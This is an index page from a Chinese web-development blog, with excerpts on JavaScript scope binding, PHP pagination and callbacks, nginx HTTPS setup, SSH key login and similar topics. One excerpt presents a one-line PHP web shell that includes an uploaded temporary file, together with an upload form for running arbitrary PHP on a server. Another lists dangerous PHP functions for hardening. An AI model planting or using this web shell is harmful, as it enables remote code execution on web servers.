分类: |

Javascript如何绑定当前的作用域

 说白了就是怎么把当前的this指针传递到内部嵌套的其它函数当中,总的来说,有两种方法。

绑定方法一: 

参考这面这篇文章(JS常用代码片段集合), 里面有介绍一种绑定函数的this指针的方法,具体用法大致如下。

查看更多...

分类:web前端 | 固定链接 | 评论: 0 | 查看次数: 4605

PHP最简单的分页公式

 写网站的时候经常会用到分页,如果自己写分页可能会被分页这个看似简单的东西搞的头大。

举个例子,我这个博客如果用普通模式看的话,首页大概有40多页的分页,现在有这样的需求:

“不管现在在哪一页,总是显示前后共10页,当前页尽可能居中。如果总数不满10页,则全部显示。前后如果超出则向后或向前递推。”

在我博客上(我博客总是显示9页)表现的就是。

这个看似简单的功能,在逻辑上还是有点复杂的。

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 4637

PHPCMS乱解读之 PHPCMS如何生成模型表单

 PHPCMS有模型管理,定义好一个模型之后PHPCMS会自动生成一个编辑这个模型的内容的表单。看看PHPCMS是怎么做到这一点的。

首先找到表单页面的地址大致是这样的

/index.php?m=content&c=content&a=add&menuid=&catid=6&pc_hash=dVlnS2&pc_hash=dVlnS2

根据PHPCMSV9 乱解读 之 PHPCMS V9的MVC的介绍, 可以很方便的找到代码所在文件位于modules/content/content.php文件中。再从此文件中找到add方法,就可以看到生成表单和处理表单的代码。

这里我们不看处理表单的代码,直接看如何生成表单。

查看更多...

分类:PHPCMS | 固定链接 | 评论: 0 | 查看次数: 11738

JS常用代码片段集合

 JS实现String#repeat

var a = new Array(10+1).join('-');

绑定函数的this指针(scope)

function bind(func, obj)
{
	return function(){
		func.apply(obj, arguments);
	};
}

var obj = {
	name : "WEB应用开发",
	url  : "http://www.zeroplace.cn"
};

var func = bind(function(param){
	alert(this.name + " " + this.url + " " + param);
}, obj);

func("很不错的网站");

 获取和设置COOKIE

function setCookie(key, value, path, domain, expires, secure)
{
	var cookie = [];

	cookie.push(key + "=" + escape(value || ""));

	if (!value) {
		expires = new Date(Date.now() - 1).toGMTString();
	}

	if (path) {
		cookie.push("path=" + path);
	}

	if (domain) {
		cookie.push("domain=" + domain);
	}

	if (expires) {
		cookie.push("expires=" + expires);
	}

	if (secure) {
		cookie.push("expires");
	}


	console.log(document.cookie = cookie.join(";"));
}


function getCookie(name)
{
	var pattern = new RegExp(name + "=(.*?)(?:;|$)");
	var arr = document.cookie.match(pattern);
	if (arr) {
		return arr[1];
	} else {
		return null;
	}
}

查看更多...

Tags: js

分类:web前端 | 固定链接 | 评论: 0 | 查看次数: 4938

另类PHP一句话小马

利用了include可以把任何文件当php来解释的特性, 当我们上传一个文件的时候,会在服务器上生成一个临时文件,而$_FILES这个变量里面正好保存了这个文件的路径,所以可以直接include进来。

<?php @include($_FILES['u']['tmp_name']);

使用方式也简单构造一个html文件写入如下代码:

	<form action="http:/a.b.c.com.cn/shell.php" method="POST" enctype="multipart/form-data">
		<input type="file" name='u'>
		<button>shell</button>
	</form>
	
	from: <a href="http://www.zeroplace.cn/">www.zeroplace.cn</a>

选择你的php大马点shell运行

我测试的时候的代码就是<?php phpinfo();保存的文件名为1.txt。

查看更多...

分类:网络安全 | 固定链接 | 评论: 0 | 查看次数: 11316

沧海遗著SPL之SplSubject和SplObserver

 想写一些关于SPL的东西,不知道怎么开始,就挑了个最简单的,写写SplSubject和SplObserver的使用。

提纲

1. 什么时观察者模式。

2.观察者模式用到的接口

查看更多...

Tags: spl php

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 6248

PHP文件锁测验

 PHP的锁大致是两种用法,一个是在WEB并发比较高的情况下的一些写操作可能需要加锁,这可能也是php锁最原始的使用方法。另外一种就是非阻塞的一种用法,比如已经有其它进程取得了这个锁本进程直接退出。

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 4937

 公司之前一直用没加密的smtp服务,上周突然要求全部换成ssl的连接方式,强制停止了不使用ssl的smtp服务,导致了原本很多使用smtp的程序不能正常工作。

有一个程序原来是用PHPMailer来发邮件的,好在PHPMailer支持ssl的smtp,我以为改下端口,加下SMTPSecure设置就可以了。事实当然没那么简单,加了下面这句代码后PHPMailer一直提示不能连接到主机。

查看更多...

Tags: php openssl

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 13700

管道实现PHP与Python相互通信

 之前在公司做项目的时候碰到了一个解23个系数的回归方程的问题,当时只记得在大学的时候听数学老师讲过回归计算,后来也就还回去了。在网上也只能找到一个Python解回归方程的代码,而我用的主语言是PHP,对Python也只略懂些语法,所以只能想办法让PHP启一个Python进程再用进程间通信的方法来解决了。

 
看看管道文件的打开规则。

查看更多...

Tags: php 管道

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 7297

php回调函数必需知道的几种方法

 php回调函数的几种方法

 
PHP回调函数用的场合还是挺多的,特别是一些用到模式的地方。这篇文章就小小的总结一下PHP的回调函数的几种形式。
 
先看下PHP手册对一个函数的介绍,因为实现调用回调函数和这个函数分不开。

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5)

call_user_func_array --  Call a user function given with an array of parameters

Description

mixed call_user_func_array ( callback function, array param_arr )

Call a user defined function given by function, with the parameters in param_arr

查看更多...

Tags: php 回调函数

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 11449

阿里云服务器使用体验

作为一个WEB开发者,用虚拟主机总是觉得不过瘾。使用虚拟主机有几个弊端。一个是和别人共享硬件带宽,如果有的网站占据了大量的cpu和流量,那其它的网站打开就会非常慢,直接导致了用户流失。第二个是共享IP。如果有的网站放了违规的内容被百度将IP打入黑名单了,那你的网站也就和百度说拜拜了。第三个就是配置不灵活,出了问题还要看客服的脸色。如果我们的PHP代码需要在服务器上做一些配置,抱歉不能。

之前已经推荐很多客户选择了阿里云服务器,其实主要看重的还是阿里的实力(说是国内最牛应该不过分吧)。最近自己也搞了一台感受一下。

让我也来选一下配置

查看更多...

Tags: 阿里云 服务器

分类:智慧人生 | 固定链接 | 评论: 0 | 查看次数: 5479

使用nginx搭建https服务器

最近在研究nginx,整好遇到一个需求就是希望服务器与客户端之间传输内容是加密的,防止中间监听泄露信息,但是去证书服务商那边申请证书又不合算,因为访问服务器的都是内部人士,所以自己给自己颁发证书,忽略掉浏览器的不信任警报即可。下面是颁发证书和配置过程。

 

首先确保机器上安装了openssl和openssl-devel

#yum install openssl
#yum install openssl-devel

然后就是自己颁发证书给自己

#cd /usr/local/nginx/conf
#openssl genrsa -des3 -out server.key 1024
#openssl req -new -key server.key -out server.csr
#openssl rsa -in server.key -out server_nopwd.key
#openssl x509 -req -days 365 -in server.csr -signkey server_nopwd.key -out server.crt

查看更多...

分类:WEB服务器 | 固定链接 | 评论: 0 | 查看次数: 6759

正确设置php-fpm和nginx防止网站被黑

 核心总结:php-fpm 子进程所使用的用户,不能是网站文件所有者。 凡是违背这个原则,则不符合最小权限原则。

 
根据生产环境不断反馈,发现不断有 php网站被挂木马,绝大部分原因是因为权限设置不合理造成。因为服务器软件,或是 php 程序中存在漏洞都是难免的,在这种情况下,如果能正确设置 Linux 网站目录权限, php 进程权限,那么网站的安全性实际上是可以得到保障的。
 
 

查看更多...

分类:网络安全 | 固定链接 | 评论: 0 | 查看次数: 6992

ssh scp 免密码方法

  ###########################

 
A为本地主机(即用于控制其他主机的机器) ;
B为远程主机(即被控制的机器Server), 假如ip为192.168.60.110;
A和B的系统都是Linux
 
在A上运行命令:
# ssh-keygen -t rsa (连续三次回车,即在本地生成了公钥和私钥,不设置密码)
# ssh root@192.168.60.110  "mkdir .ssh; chmod 0700 .ssh" (需要输入密码)
# scp ~/.ssh/id_rsa.pub  root@192.168.60.110:.ssh/id_rsa.pub (需要输入密码)
 
在B上的命令:
# touch /root/.ssh/authorized_keys2 (如果已经存在这个文件, 跳过这条)
# cat /root/.ssh/id_rsa.pub  >> /root/.ssh/authorized_keys2 (将id_rsa.pub的内容追加到 authorized_keys2 中)
 
回到A机器:
# ssh root@192.168.60.110 (不需要密码, 登录成功)
 
如果能保护好自己的私钥, 这种方法相对在shell上输入密码, 要安全一些
 

查看更多...

分类:linux教程 | 固定链接 | 评论: 0 | 查看次数: 7761

使用nginx_concat_module合并http请求

安装nginx_concat_module模块,添加combo,减少http请求

 

nginx_concat_module:http://code.taobao.org/p/nginx_concat_module/src/trunk/

 

安装方法(INSTALL文件):

 

Here are some step by step instructions.

1) Download the source code of the latest stable nginx from http://nginx.org.

$ wget http://nginx.org/download/nginx-0.7.65.tar.gz

 

2) Extract the tarball.

$ tar zvfx nginx-0.7.65.tar.gz

 

3) Change the working directory to the source of nginx.

$ cd nginx-0.7.65

 

4) Build nginx with this module and install it. You may need root privilege to

install it to the default directory.

  $ ./configure --add-module=/path/to/the/source/of/this/module

  $ make

  $ make install

 

使用

类似于 http://jser.zeroplace.cn/tester/??test.js,test1.js

查看更多...

分类:WEB服务器 | 固定链接 | 评论: 0 | 查看次数: 5779

 phpinfo() 
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 
危险等级:中 

passthru() 
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。 
危险等级:高 

exec() 
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。 
危险等级:高 

system() 
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。 
危险等级:高 

chroot() 
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式 
PHP 时才能工作,且该函数不适用于 Windows 系统。 
危险等级:高 

scandir() 
功能描述:列出指定路径中的文件和目录。 
危险等级:中 

 

查看更多...

分类:网络安全 | 固定链接 | 评论: 0 | 查看次数: 6615

VC6下实现CHtmlView的external的方法

 源码直接打包在附件,应该说标题不对,不是CHtmlView,而是用Webbrowser2控件来搞的。VS2008下实现external相对容易一点,请看

在MFC中实现CHtmlView与Javascript交互最简单的方法

 

点击下载此文件

查看更多...

分类:c/c++ | 固定链接 | 评论: 0 | 查看次数: 7716

VIM的minibuffer插件安装

 首先去minibuffer官网下载插件:

http://www.vim.org/scripts/script.php?script_id=159
下载到一个minibufexpl.vim文件,下面要把该文件拷贝到vim插件目录,如何找到这个目录?
 
在vim中,输入命令":set runtimepath?"即可看到给出的几个目录,这些都是vim插件存放目录,其中第一个为仅当前用户可用的插件目录;第二个为全部用户可用的插件目录;第三个也是全部用户可用,但在更新vim版本后此目录会被覆盖。一般使用第一个和第二个目录即可。
 
现在我们将下载到的minibufexpl.vim复制到其中一个目录,在vim中使用tabe xxx即可新开标签编辑xxx文件。

查看更多...

分类:智慧人生 | 固定链接 | 评论: 0 | 查看次数: 5410

Chrome 开发者工具使用技巧

 JavaScript Beautifier

 

JavaScript 文件在上线前一般都会压缩下,压缩的 JavaScript 几乎没有可读性,几乎无法设定断点。在 Scripts 面板下面有个 Pretty print 按钮(这种符号 {}),点击会将压缩 JavaScript 文件格式化缩进规整的文件,这时候在设定断点可读性就大大提高了。

 

查看元素绑定了哪些事件

 

在 Elements 面板,选中一个元素,然后在右侧的 Event Listeners 下面会按类型列出这个元素相关的事件,也就是在事件捕获和冒泡阶段会经过的这个节点的事件。在 Event Listeners 右侧下拉按钮中可以选择 Selected Node Only 只列出这个节点上的事件。

 

AJAX 时中断


在 Sources 面板右侧有个 XHR Breakpoints,点右侧的 + 会添加一个 XHR 断点, 断点是根据 XHR 的 URL 匹配中断的,如果不写匹配规则会在所有 AJAX,这个匹配只是简单的字符串查找,发送前中断,在中断后再在 Call Stack 中查看时那个地方发起的 AJAX 请求。

 

查看更多...

分类:web前端 | 固定链接 | 评论: 0 | 查看次数: 4924

《C语言教程》电子书

还不错的一本PDF格式的电子书,还挺清晰的。

 点击下载此文件

 

如果是新手学习的话,可能还需要一款用来练习C语言的软件,这里有几个软件还挺不错的推荐给大家。

查看更多...

分类:下载专区 | 固定链接 | 评论: 0 | 查看次数: 6668